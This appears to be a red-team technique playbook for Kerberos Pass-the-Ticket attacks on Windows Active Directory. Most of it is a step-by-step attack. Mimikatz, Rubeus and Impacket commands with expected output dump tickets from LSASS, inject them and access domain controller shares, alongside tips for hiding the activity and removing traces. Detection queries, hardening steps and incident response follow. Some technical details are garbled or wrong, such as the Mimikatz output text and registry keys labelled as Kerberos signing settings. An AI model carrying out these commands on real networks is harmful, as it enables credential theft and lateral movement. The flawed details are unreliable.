| Attribute | Details |
|---|---|
| Technique ID | LM-AUTH-002 |
| MITRE ATT&CK v18.1 | T1550.003 - Pass the Ticket |
| Tactic | Defense Evasion, Lateral Movement |
| Platforms | Windows AD, Windows Endpoint |
| Severity | Critical |
| CVE | N/A |
| Technique Status | ACTIVE |
| Last Verified | 2025-01-10 |
| Affected Versions | Server 2016 - 2025, Windows 10/11 |
| Patched In | Not patched (design feature) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: Pass-the-Ticket (PtT) is an adversarial technique that leverages stolen Kerberos Ticket Granting Tickets (TGT) or Service Tickets (TGS) to authenticate to Windows resources without requiring the plaintext password or hash of the compromised user. Once extracted from a compromised system’s memory (via tools like Mimikatz), a valid Kerberos ticket can be replayed on the same machine or moved laterally to other systems where it’s injected into the attacker’s logon session. The Kerberos protocol validates the ticket’s signature and expiration but does not perform additional checks to verify that the ticket owner is the same entity using it. This design flaw enables attackers to impersonate legitimate users for extended periods.
Attack Surface: LSASS process memory (where tickets are cached), Kerberos credential cache, Ticket Granting Service request/response traffic.
Business Impact: Complete bypass of authentication controls and lateral movement infrastructure. An attacker with a stolen TGT can access any Kerberos-protected resource (file shares, domain controllers, printers, SQL databases) with the same privileges as the compromised user, for the lifetime of the ticket (typically 8-24 hours). This enables data exfiltration, privilege escalation, ransomware deployment, and persistence without credential modification.
Technical Context: Extraction via tools like Mimikatz on a compromised endpoint is nearly immediate (seconds). Detection is moderate—Event ID 4769 (TGS request) will fire, but legitimate users also generate this event continuously. Tickets have a finite lifetime; attackers must time usage carefully or repeatedly extract new ones.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | 4.1, 4.6 | Failure to restrict Kerberos delegation and audit Kerberos authentication events. |
| DISA STIG | Windows_Server-DC-2.3-GRP | Audit Kerberos TGT and TGS requests and failures. |
| CISA SCuBA | AUTH-02 | Implementing strong authentication without reliance on Kerberos ticket lifetime alone. |
| NIST 800-53 | AC-2, AC-3, AU-6 | Account management, access control enforcement, audit review. |
| GDPR | Art. 32 | Security of processing – inadequate monitoring and audit controls. |
| DORA | Art. 9 | Protection and prevention – compromised authentication mechanisms. |
| NIS2 | Art. 21 | Cyber risk management – authentication and access control measures. |
| ISO 27001 | A.9.2.3, A.12.4 | Management of privileged access rights, logging and monitoring. |
| ISO 27005 | Risk: Unauthorized access to critical systems via stolen credentials. |
Supported Versions:
Tools:
Check if Kerberos authentication is active and if the current user has cached tickets:
# List all Kerberos tickets in current session
klist
# Detailed ticket information (Windows 10/11, Server 2019+)
klist /all
# Check current user's ticket age and expiration
Get-Process lsass | Select-Object Name, Id, Handles
# Verify domain connectivity
nltest /dsgetdc:DOMAIN.local
What to Look For:
klist showing TGT and/or TGS tickets (e.g., “Ticket Granting Ticket” and “Service Tickets”).klist returns “No tickets present in the cache,” Kerberos is not actively used (rare in AD environments).Version Note:
klist output is basic; use mimikatz.exe "kerberos::list" for detailed info.klist /all provides more detailed output including ticket flags.For Linux endpoints joined to AD via SSSD or Kerberos:
# List cached Kerberos tickets (Linux/Unix with krb5)
klist
# Check if Kerberos is configured
cat /etc/krb5.conf
# List all tickets with timestamps
klist -A
# Check CCACHE location
echo $KRB5CCNAME
What to Look For:
/tmp/krb5cc_* or location specified by KRB5CCNAME.Supported Versions: Server 2016-2025, Windows 10/11
Objective: Gain Local Administrator privileges on the target endpoint.
Prerequisite: Must be running as SYSTEM, LOCAL SYSTEM, or a user with SeDebugPrivilege.
Command:
# Verify current privileges
whoami /priv | findstr /I "sedebuggprivilege"
# If insufficient privileges, attempt UAC bypass (Server 2016-2019)
# Using Fodhelper (Windows 10/11, Server 2019+)
# Or request elevation: Right-click PowerShell -> Run as Administrator
Expected Output:
SeDebugPrivilege Enabled
What This Means:
SeDebugPrivilege is Enabled, you can read LSASS memory.Disabled, request UAC elevation or switch to a privileged user.OpSec & Evasion:
-NoProfile -WindowStyle Hidden.Remove-Item (Get-PSReadlineOption).HistorySavePath.Objective: Dump all Kerberos tickets cached in LSASS memory.
Command (Standard):
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "exit"
Command (PowerShell variant):
. C:\Tools\mimikatz\Invoke-Mimikatz.ps1
Invoke-Mimikatz -Command "privilege::debug `"sekurlsa::tickets /export`""
Command (In-Memory - No Disk Touch):
# Using Rubeus with in-memory ticket dump
$MimikatzPath = "C:\Temp\mimikatz.exe"
& $MimikatzPath "privilege::debug" "sekurlsa::tickets /export" "kerberos::list" "exit"
Expected Output:
mimikatz(powershell) # privilege::debug
[00000000] Token elevation result (20)
mimikatz(powershell) # sekurlsa::tickets /export
[00] - 0x0 -> Kerberos ticket file
* Saved to file [0] : 10_40-46147_krbtgt~DOMAIN.LOCAL_krbtgt~DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi
* Saved to file [1] : 10_40-46149_user@DOMAIN.LOCAL_krbtgt~DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi
* Saved to file [2] : 10_40-46150_cifs~dc01~DOMAIN.LOCAL@DOMAIN.LOCAL_DOMAIN.LOCAL.kirbi
What This Means:
.kirbi file is an exported Kerberos ticket.*_krbtgt* are TGTs (Ticket Granting Tickets) – most valuable.*_cifs*, *_ldap*, etc., are Service Tickets for specific resources.OpSec & Evasion:
Remove-Item *.kirbi./export flag to avoid keeping tickets in memory longer than necessary.C:\ProgramData\ instead of C:\Temp\).Troubleshooting:
"mimikatz.exe" is not recognized
"C:\Tools\mimikatz.exe" or add to PATH.Privilege::Debug - ERROR kuhl_m_privilege_simple ; (Opaque)
runas /user:DOMAIN\AdminAccount cmd.exe).sekurlsa::tickets - no ticket
net use \\dc01\netlogon), then re-run.Objective: Load the exported ticket into the current user’s Kerberos cache, allowing access to resources as the compromised user.
Command (Mimikatz - TTL Mode):
mimikatz.exe "privilege::debug" "kerberos::ptt [0_40-46151_USER@DOMAIN.LOCAL_krbtgt~DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi]" "exit"
Replace [...] with the filename of the exported TGT or service ticket.
Command (Mimikatz - Base64 Encoded TTL):
$ticket = Get-Content -Path "10_40-46151_USER@DOMAIN.LOCAL_krbtgt~DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi" -Encoding Byte
[System.Convert]::ToBase64String($ticket) | Out-File -FilePath "ticket.b64"
mimikatz.exe "privilege::debug" "kerberos::ptt::base64 ticket.b64" "exit"
Command (Using Rubeus - Recommended):
rubeus.exe ptt /ticket:0_40-46151_USER@DOMAIN.LOCAL_krbtgt~DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi
Expected Output (Mimikatz):
mimikatz(powershell) # kerberos::ptt [0_40-46151_USER@DOMAIN.LOCAL_krbtgt~DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi]
* File: [0_40-46151_USER@DOMAIN.LOCAL_krbtgt~DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi]
* [0] - 0x0 -> Kerberos ticket file
MIFARE - OK/SUCCES
Expected Output (Rubeus):
Rubeus 1.6.4 (build 30b56dff) - Kerberos relaying/interoperability tool
[*] Action: Pass The Ticket (PTT)
[+] Ticket successfully imported!
What This Means:
OpSec & Evasion:
klist purge.Troubleshooting:
Kerberos::ptt - ERROR kuhl_m_kerberos_ptt
"C:\path with spaces\ticket.kirbi".Authentication failure - ERROR
Objective: Confirm the injected ticket is usable.
Command:
# List injected tickets
klist
# Attempt access to a resource using the injected identity
net use \\dc01\netlogon
# Or access a file share
Get-ChildItem \\dc01\c$\Windows\System32
Expected Output:
New connections will be made using the user name '<DOMAIN>\<COMPROMISED_USER>'.
The command completed successfully.
or
Directory: \\dc01\c$\Windows\System32
Mode LastWriteTime Length Name
---- ----------- ------ ----
d----- 1/9/2025 8:30 AM drivers
d----- 1/9/2025 8:30 AM spool
What This Means:
References & Proofs:
Supported Versions: Server 2016-2025, Windows 10/11
Objective: Obtain a working copy of Rubeus binary.
Download:
# Clone from GitHub
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
dotnet build -c Release
# Binary output: .\Rubeus\bin\Release\net48\Rubeus.exe
Or Use Pre-compiled:
# Download pre-built from releases
Invoke-WebRequest -Uri "https://github.com/GhostPack/Rubeus/releases/download/v1.6.4/Rubeus.exe" -OutFile "Rubeus.exe"
Expected Output:
Rubeus 1.6.4 (build 30b56dff) - Kerberos relaying/interoperability tool
What This Means:
Objective: Extract cached Kerberos tickets more quietly than Mimikatz.
Command (List tickets):
Rubeus.exe triage
Command (Dump specific user tickets):
Rubeus.exe dump /user:domain\admin
Command (Dump TGT + auto-inject with /ptt):
Rubeus.exe dump /user:domain\admin /ptt
Expected Output:
Rubeus 1.6.4 (build 30b56dff)
[*] Dumping current Kerberos session tickets
User: DOMAIN.LOCAL\ADMIN
ServiceName: krbtgt/DOMAIN.LOCAL
Ticket: <base64-ticket-blob>
[+] Ticket successfully imported!
What This Means:
/export is used).OpSec & Evasion:
/ptt flag performs in-memory injection without disk artifacts.Rubeus.exe is a known indicator.Objective: Inject the dumped ticket into the attacker’s session.
Command (Explicit file-based injection):
Rubeus.exe ptt /ticket:<base64-ticket-blob>
or
Rubeus.exe ptt /ticket:C:\path\to\exported.kirbi
Expected Output:
Rubeus 1.6.4 (build 30b56dff)
[*] Action: Pass The Ticket (PTT)
[+] Ticket successfully imported!
What This Means:
References & Proofs:
Supported Versions: Works with Windows AD from Linux attacker machine.
Objective: Set up Impacket framework on Linux attacker system.
Command:
pip install impacket
# Or from source
git clone https://github.com/fortra/impacket.git
cd impacket
pip install -r requirements.txt
python setup.py install
Expected Output:
Successfully installed impacket-0.10.1
Objective: Use Impacket to query AD and extract ticket info.
Command (getLAPSPasswords.py for LAPS-protected passwords):
python getLAPSPasswords.py -username 'domain\user' -password 'password' -dc-ip 192.168.1.10 domain.local/admin
Command (More direct: secretsdump for ticket extraction from DC):
python secretsdump.py domain.local/admin:password@192.168.1.10
Expected Output:
[*] Dumping domain info for first time
[*] Domain Name: DOMAIN.LOCAL
[*] Cached credentials (domain\username:hash)
Domain\admin:aad3b435b51404eeaad3b435b51404ee:...
Objective: Leverage extracted credentials to request Kerberos tickets.
Command (Get TGT via Kerberos from Linux):
getTGT.py -dc-ip 192.168.1.10 'domain.local/admin:password'
Expected Output:
Impacket v0.10.1
[*] Saving ticket in admin.ccache
Objective: Use the cached ticket to authenticate to Windows resources.
Command (Export to Kerberos ticket location):
export KRB5CCNAME=/root/admin.ccache
# Use with psexec or other tools
psexec.py -k -no-pass 'domain.local/admin@192.168.1.10'
Expected Output:
Impacket v0.10.1
[*] Requesting shares on 192.168.1.10...
C$ READ, WRITE
What This Means:
References & Proofs:
Command:
Invoke-AtomicTest T1550.003 -TestNumbers 1
Cleanup Command:
Invoke-AtomicTest T1550.003 -TestNumbers 1 -Cleanup
Reference: Atomic Red Team Library - T1550.003
Version: 2.2.0+ Minimum Version: 2.1.1 Supported Platforms: Windows (all versions)
Version-Specific Notes:
Installation:
# Download from GitHub
$url = "https://github.com/gentilkiwi/mimikatz/releases/download/2.2.0-20230302/mimikatz_trunk.zip"
Invoke-WebRequest -Uri $url -OutFile mimikatz.zip
Expand-Archive -Path mimikatz.zip -DestinationPath C:\Tools\mimikatz
Usage (Extract & Inject):
mimikatz.exe
privilege::debug
sekurlsa::tickets /export
kerberos::ptt [ticket.kirbi]
exit
One-Liner Script:
.\mimikatz.exe "privilege::debug" "sekurlsa::tickets /export" "kerberos::ptt [0_40-46151_USER@DOMAIN.LOCAL_krbtgt~DOMAIN.LOCAL@DOMAIN.LOCAL.kirbi]" "exit" | Out-Null; klist
Version: 1.6.4+ Minimum Version: 1.5.0 Supported Platforms: Windows (all versions), requires .NET Framework 4.8+
Version-Specific Notes:
Installation:
git clone https://github.com/GhostPack/Rubeus.git
cd Rubeus
dotnet build -c Release
Usage (Dump & Inject):
Rubeus.exe dump /ptt
Version: 0.10.1+ Minimum Version: 0.9.24 Supported Platforms: Linux, macOS, Windows (via Python)
Installation (Linux):
pip install impacket
Usage (Get TGT from Linux):
python getTGT.py -dc-ip 192.168.1.10 domain.local/user:password
export KRB5CCNAME=user.ccache
python psexec.py -k -no-pass domain.local/user@target.domain.local
Rule Configuration:
SPL Query:
index=main sourcetype="WinEventLog:Security" EventCode=4769 OR EventCode=4768
| stats count by Account_Name, Service_Name, dest, src
| where count > 3
| table _time, Account_Name, Service_Name, dest, src, count
What This Detects:
Manual Configuration Steps:
Kerberos PTT - Multiple TGS RequestsAlert when number of events > 3Source: Splunk Kerberos Analytics
Rule Configuration:
SPL Query:
index=main sourcetype="WinEventLog:Sysmon" EventCode=10
SourceImage IN (mimikatz.exe, Rubeus.exe)
TargetImage="C:\\Windows\\System32\\lsass.exe"
| stats count by SourceImage, TargetImage, GrantedAccess, _time
What This Detects:
Manual Configuration Steps:
Rule Configuration:
KQL Query:
SecurityEvent
| where EventID == 4769
| where ResultCode == "0x0"
| summarize TGSCount = count() by TargetUserName, Computer, IpAddress, bin(TimeGenerated, 5m)
| where TGSCount > 5
| project TimeGenerated, TargetUserName, Computer, IpAddress, TGSCount
What This Detects:
Manual Configuration Steps (Azure Portal):
Kerberos Pass-the-Ticket - Multiple TGS RequestsHigh5 minutes30 minutesEvent ID: 4769 (Success) – A Kerberos Ticket Granting Service (TGS) was requested
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Server 2022+): Same as Server 2016-2019; Group Policy is identical.
Manual Configuration Steps (Local Policy – Single Machine):
auditpol /set /subcategory:"Kerberos Service Ticket Operations" /success:enable /failure:enableMinimum Sysmon Version: 13.0+ Supported Platforms: Windows 10/11, Server 2016+
<EventFiltering>
<!-- Detect Mimikatz/Rubeus LSASS Access -->
<RuleGroup name="" groupRelation="or">
<ProcessAccess onmatch="include">
<!-- Detect process access to LSASS -->
<TargetImage condition="image">lsass.exe</TargetImage>
<GrantedAccess condition="is">0x1410</GrantedAccess>
<GrantedAccess condition="is">0x1400</GrantedAccess>
<GrantedAccess condition="is">0x0430</GrantedAccess>
</ProcessAccess>
</RuleGroup>
<!-- Detect Kerberos Ticket Export Files -->
<RuleGroup name="" groupRelation="or">
<FileCreate onmatch="include">
<TargetFilename condition="contains">.kirbi</TargetFilename>
<TargetFilename condition="contains">ticket</TargetFilename>
</FileCreate>
</RuleGroup>
</EventFiltering>
Manual Configuration Steps:
sysmon64.exe -accepteula -i sysmon-config.xml
Get-Service Sysmon64
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Select-Object Id, Message
Alert Name: “Suspicious Kerberos activity detected”
Manual Configuration Steps (Enable Defender for Cloud):
Reference: Microsoft Defender for Cloud - Kerberos Alerts
Enforce Kerberos Signing & Sealing: Applies To Versions: Server 2016+
Force all Kerberos traffic to be signed and sealed to prevent ticket replay attacks.
Manual Steps (Group Policy):
gpupdate /force on all machinesManual Steps (Server 2022+): Same as above; setting applies uniformly.
Manual Steps (PowerShell):
# Set registry key to require Kerberos signing
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LmCompatibilityLevel" -Value 5 -PropertyType DWORD -Force
New-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" -Name "SignSecureChannel" -Value 1 -PropertyType DWORD -Force
Restart-Computer -Force
Enable Kerberos Armoring (FAST): Applies To Versions: Server 2012 R2+
Implement Flexible Authentication Secure Tunneling to protect Kerberos messages.
Manual Steps (Group Policy):
gpupdate /forceReduce Kerberos Ticket Lifetime: Shorter ticket lifetimes limit the window for ticket theft exploitation.
Manual Steps (Group Policy):
gpupdate /forceRestrict Local Administrator Access: Limit the number of accounts with Local Admin privileges to prevent LSASS memory access.
Manual Steps:
Enable LSA Protection (RunAsPPL): Protect LSASS process from unauthorized access.
Manual Steps (Server 2016-2019):
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LsaRunAsPPL and set to 1Manual Steps (Server 2022+): Same as above, but also consider enabling Windows Defender Credential Guard via Group Policy:
Monitor and Alert on LSASS Access: Enable detailed audit logging for process access to LSASS.
Manual Steps:
Implement Conditional Access Policies (Entra ID Hybrid Only): Require device compliance for authentication.
Manual Steps (Azure Portal):
Kerberos-Protected Resource AccessDisable Legacy Kerberos Versions: Prevent downgrade attacks.
Manual Steps (Group Policy):
gpupdate /forceRBAC Adjustment: Restrict Domain Admin group membership; use tiered admin model (Tier 0, 1, 2).
Manual Steps:
ReBAC / Conditional Access: Apply resource-level access policies in hybrid environments.
Manual Steps (Entra ID Conditional Access):
Restrict Kerberos-Based Access to Sensitive Resources# Check if Kerberos signing is enforced
$signingLevel = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" -Name "SignSecureChannel" -ErrorAction SilentlyContinue).SignSecureChannel
if ($signingLevel -eq 1) {
Write-Host "✓ Kerberos signing enforced"
} else {
Write-Host "✗ Kerberos signing NOT enforced"
}
# Check ticket lifetime
$ticketLife = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "MaxTicketAge" -ErrorAction SilentlyContinue).MaxTicketAge
Write-Host "Maximum ticket lifetime: $($ticketLife / 60) minutes"
# Check LSA Protection status
$lsaProtection = (Get-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "RunAsPPL" -ErrorAction SilentlyContinue).RunAsPPL
if ($lsaProtection -eq 1) {
Write-Host "✓ LSA Protection (RunAsPPL) enabled"
} else {
Write-Host "✗ LSA Protection NOT enabled"
}
Expected Output (If Secure):
✓ Kerberos signing enforced
Maximum ticket lifetime: 60 minutes
✓ LSA Protection (RunAsPPL) enabled
What to Look For:
1 to protect LSASS.*.kirbi files in temporary directories (C:\Temp\, C:\Windows\Temp\, C:\ProgramData\)HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ (RunAsPPL disabled/tampered)HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU for Mimikatz/RubeusC:\Windows\Temp\ or C:\ProgramData\getTGT.py, getTGS.py commands.kirbi files; modification of Kerberos cache directories# Disable all network adapters to prevent lateral movement
Get-NetAdapter | Disable-NetAdapter -Confirm:$false
Manual (Azure VM):
wevtutil epl Security C:\Evidence\Security.evtx
wevtutil epl System C:\Evidence\System.evtx
# Dump LSASS process memory (if not protected)
procdump64.exe -ma lsass.exe C:\Evidence\lsass.dmp
# Collect Sysmon logs
wevtutil epl "Microsoft-Windows-Sysmon/Operational" C:\Evidence\Sysmon.evtx
Manual:
C:\Evidence\Security.evtx# Stop any Mimikatz/Rubeus processes
Get-Process | Where-Object {$_.Name -match "mimikatz|rubeus|.*kerberos.*"} | Stop-Process -Force
# Clear Kerberos ticket cache
klist purge
# Invalidate all user sessions
Reset-ComputerMachinePassword
# Reset affected user passwords
Set-ADAccountPassword -Identity "compromised-user" -Reset -NewPassword (ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force)
Manual:
Reset-ComputerMachinePassword on the affected machinelogoff /server:TargetServer| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IA-PHISH-001] Device Code Phishing | Attacker tricks user into phishing link, steals MFA token |
| 2 | Credential Access | [CA-DUMP-001] Mimikatz LSASS Extraction | Attacker gains local admin, dumps LSASS memory containing Kerberos tickets |
| 3 | Current Step | [LM-AUTH-002] | Attacker injects stolen Kerberos ticket (TGT) into session |
| 4 | Lateral Movement | [LM-AUTH-001] Pass-the-Hash | Using injected ticket, move to Domain Controller |
| 5 | Privilege Escalation | [PE-TOKEN-002] RBCD | Exploit Resource-Based Constrained Delegation for DA access |
| 6 | Persistence | [CA-KERB-003] Golden Ticket | Create forged TGT using stolen krbtgt hash for persistent access |
| 7 | Impact | Ransomware/Exfil | Deploy ransomware or exfiltrate data across all AD resources |